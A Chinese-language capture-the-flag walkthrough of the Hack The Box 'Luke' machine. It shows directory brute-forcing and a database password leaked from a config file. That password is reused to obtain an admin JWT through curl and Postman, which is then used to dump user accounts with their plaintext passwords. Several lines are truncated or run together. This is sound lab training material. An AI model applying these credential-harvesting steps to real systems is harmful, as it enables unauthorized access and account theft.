渗透测试 | HTB-Luke实战 – 作者:Setup-安全小百科

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渗透测试 | HTB-OneTwoSeven实战

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信息收集

打开10.10.10.137 发现就⼀个静态⻚⾯⼀般我习惯先看⼀下源码发现是⼀个静态⻚⾯⽤了

Bootstrap 4

端口测试

21/tcp ftp

22/tcp ssh

80/tcp http

3000/tcp ppp

8000/tcp http-alt

1. 10.10.10.137:8000 ⼀个Ajenti登陆⻚⾯

2. 10.10.10.137:3000返回

{"success":false,"message":"Auth token is not supplied"}

目录遍历

习惯⽤dirsearch.py 分别对80、3000进⾏⽬录遍历

80端⼝发现

[17:51:04] 403 - 220B - /.ht_wsr.txt
[17:51:04] 403 - 222B - /.htaccess-dev
[17:51:04] 403 - 224B - /.htaccess-local
[17:51:04] 403 - 213B - /.hta
[17:51:04] 403 - 224B - /.htaccess-marco
[17:51:04] 403 - 223B - /.htaccess.bak1
[17:51:04] 403 - 222B - /.htaccess.BAK
[17:51:04] 403 - 222B - /.htaccess.old
[17:51:05] 403 - 221B - /.htaccessOLD
[17:51:05] 403 - 223B - /.htaccess.orig[17:51:05] 403 - 223B - /.htaccess_orig
[17:51:05] 403 - 225B - /.htaccess.sample
[17:51:05] 403 - 222B - /.htaccess.txt
[17:51:05] 403 - 221B - /.htaccess_sc
[17:51:05] 403 - 221B - /.htaccessBAK
[17:51:05] 403 - 224B - /.htaccess_extra
[17:51:05] 403 - 223B - /.htaccess.save
[17:51:05] 403 - 222B - /.htpasswd-old
[17:51:05] 403 - 219B - /.htaccess~
[17:51:05] 403 - 219B - /.htpasswds
[17:51:05] 403 - 223B - /.htpasswd_test
[17:51:05] 403 - 222B - /.htaccessOLD2
[17:51:05] 403 - 217B - /.htgroup
[17:51:06] 403 - 217B - /.htusers
[17:53:16] 200 - 202B - /config.php
[17:53:25] 301 - 232B - /css -> http://10.10[17:54:02] 200 - 1KB - /gulpfile.js
[17:54:16] 200 - 3KB - /index.html
[17:54:24] 301 - 231B - /js -> http://10.10.1[17:54:30] 200 - 1KB - /LICENSE
[17:54:36] 200 - 2KB - /login.php
[17:54:43] 401 - 381B - /management
[17:54:43] 401 - 381B - /management/
[17:54:46] 301 - 235B - /member -> http://10[17:54:46] 200 - 216B - /member/
[17:55:06] 200 - 1KB - /package.json
[17:55:35] 200 - 4KB - /README.md

其中 /management 和 login.php 也是⼀个登陆⻚⾯⽽ /config.php 包括了mysql账号密码

$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg';
$db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or
die("Connect failed: %s\n". $conn -> error);

3000端⼝发现

[22:30:18] Starting:
[22:34:38] 200 - 13B - /login
[22:34:38] 200 - 13B - /Login
[22:34:40] 200 - 13B - /login/
[22:35:42] 503 - 0B - /pmyadmin/
[22:37:02] 200 - 56B - /users
[22:37:03] 200 - 56B - /users/admin
[22:37:03] 200 - 56B - /users/其中 /login 返回 "please auth" , users 也是返回 {"success":false,"message":"Auth token
is not supplied"}

整合信息

三个登陆⻚⾯

10.10.10.137:8000、10.10.10.137/login.php、10.10.10.137/management

⼀个mysql账号密码root/Zk6heYCyv6ZE9Xcg

10.10.10.137:3000返回信息

{"success":false,"message":"Auth token is not supplied"}

10.10.10.137:3000/login返回

"please auth"

具体分析

突破⼝在

在 "Auth token is not supplied"

Google⼀下发现是jwt认证失败的⼀个返回信息因此推测应该构造认证信息post到

10.10.10.137:3000然后获取到⽤户凭证接着⽤这个⽤户凭证去请求

10.10.10.137:3000/users。

这⾥post的⽤户信息⼤概就是上⾯的mysql账户密码因为只有这⼀个可以⽤了⽽且这个账户信息尝试

登陆在⼏个登陆⻚⾯以及mysql服务端均没有成功。

使⽤curl

curl -s -X POST -H 'Accept: application/json' -H 'Content-Type:
application/json' --data '{"usename":"admin","password":"Zk6heYCyv6ZE9Xcg"}'
http://10.10.10.137:3000/logi

回显信息

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected token r in JSON at position 11<br> &nbsp;
&nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse
(/nodeapp/node_modules/body-parser/lib/types/json.js:89:19)<br> &nbsp;
&nbsp;at /nodeapp/node_modules/body-parser/lib/read.js:121:18<br> &nbsp;
&nbsp;at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16)<br>
&nbsp; &nbsp;at done (/nodeapp/node_modules/raw-body/index.js:213:7)<br>
&nbsp; &nbsp;at IncomingMessage.onEnd (/nodeapp/node_modules/rawbody/index.js:273:7)<br> &nbsp; &nbsp;at IncomingMessage.emit
(events.js:202:15)<br> &nbsp; &nbsp;at endReadableNT
(_stream_readable.js:1132:12)<br> &nbsp; &nbsp;at processTicksAndRejections
(internal/process/next_tick.js:76:17)</pre>
</body>
</htm

不知道是什么原因估计是curl哪⾥构造错了但是可以确定的是思路是对的换⽤postman发送json

请求

获取到admin的

token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY
3NjY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU

⽤这个token请求/users和/users/{user}

curl -H 'Accept: application/json' -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY3N
jY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU"
https://10.10.10.137:3000/users

获取到

[{"ID":"1","name":"Admin","Role":"Superuser"},
{"ID":"2","name":"Derry","Role":"Web Admin"},
{"ID":"3","name":"Yuri","Role":"Beta Tester"},
{"ID":"4","name":"Dory","Role":"Supporter"}]
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}%
{"name":"Yuri","password":"bet@tester87"}%
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}%
{"name":"Dory","password":"5y:!xa=ybfe)/QD"